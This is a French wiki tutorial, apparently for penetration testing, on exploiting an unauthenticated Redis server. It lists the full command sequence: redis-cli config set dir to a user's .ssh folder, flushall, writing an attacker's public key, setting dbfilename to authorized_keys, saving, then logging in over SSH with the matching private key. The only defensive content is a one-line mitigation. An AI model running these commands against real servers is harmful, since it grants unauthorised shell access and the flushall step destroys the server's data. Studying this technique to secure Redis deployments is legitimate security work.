** Exploitation de Redis**
**1.Presentation**
Redis est un système de cache performant fonctionnant sur les serveurs.
Son port par défaut est le 6379.
Ici nous présenterons comment détecter un serveur redis sans authentification et comment l'exploiter pour obtenir un shell.
**2.Exploitation**
__2.1 Etape 1 : Tester si le serveur redis utilise une authentification__
telnet 192.168.43.7
{{ :web:redis1.png?nolink |}}
Nous remarquons que nous pouvons executer des commandes sur le serveur redis.
Nous recupérons des infos comme l'os du système avec sa version de noyau.
__2.1 Etape 2 : Trouver un repertoire user valide__
Nous utilisons le client redis pour se connecter sur la machine
redis-cli -h 192.168.43.7
{{ :web:redis2.png?nolink |}}
Il faut faire un script qui va essayer une liste d'username jusqu'à trouver un dossier existant.
Dans notre cas l'utilisateur user existe.
__2.1 Etape 3 : Création d'une clé ssh__
Le but de l'étape est de créer une paire de clé ssh pour remplacer celle de l'utilisateur sur le serveur.
ssh-keygen -t rsa -C "user@192.168.43.7"
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in attacker.
Your public key has been saved in attacker.pub.
The key fingerprint is:
f1:09:f3:e2:19:75:a1:60:a9:8e:39:df:4a:39:00:8f user@192.168.43.7
The key's randomart image is:
+---[RSA 2048]----+
| o. . |
| ... . . |
| . .+ o . |
| + . B o |
| E o+ S + |
| +..o + |
| o+.o |
| .... |
| .. |
+-----------------+
Nous avons maintenant notre clé publique attacker.pub et la privé attacker.
Il faut préparer la clé pour que l'on puisse la remplacer ensuite :
(echo -e "\n\n"; cat attacker.pub; echo -e "\n\n") > foo.txt
__2.1 Etape 4 : Remplacement de la clé ssh sur le serveur__
On se positionne dans le dossier .ssh de l'utilisateur :
redis-cli -h 192.168.43.7 config set dir "/home/user/.ssh"
On supprime les anciennes clé de la bdd :
redis-cli -h 192.168.43.7 flushall
On envoie notre nouvelle clé sur le serveur :
cat foo.txt | redis-cli -h 192.168.43.7 -x set sshblob
On définit le nouveau fichier de clé :
redis-cli -h 192.168.43.7 config set dbfilename authorized_keys
On sauvegarde :
redis-cli -h 192.168.43.7 save
__2.1 Etape 5 : Connexion sur le serveur à l'aide de notre clé privé__
ssh -i attacker -l user 192.168.43.7
**3.Comment se protéger**
Ajouter une authentification forte sur votre serveur redis.
Source : [[http://antirez.com/news/96]]